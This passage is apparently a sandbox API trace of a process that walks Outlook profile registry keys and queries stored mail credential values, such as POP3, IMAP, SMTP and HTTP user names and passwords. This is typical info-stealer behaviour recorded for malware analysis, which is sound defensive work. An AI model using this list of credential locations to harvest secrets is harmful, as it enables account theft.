lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.191] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.192] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.192] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.192] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.193] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.193] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.193] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.194] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.194] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.194] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.195] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.195] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.195] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.196] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.196] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.196] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.196] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.196] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.196] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.196] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.196] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.196] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.196] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.196] LocalFree (hMem=0x28e7670) returned 0x0 [0096.196] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x4, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="1cfb96c6c96b454ebff73da2e9f63f51", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.196] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.196] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.196] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51") returned 88 [0096.196] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.197] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.197] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.197] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.197] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.197] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.197] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.197] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.198] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.198] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.198] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.198] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.198] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.198] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.198] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.199] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.199] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 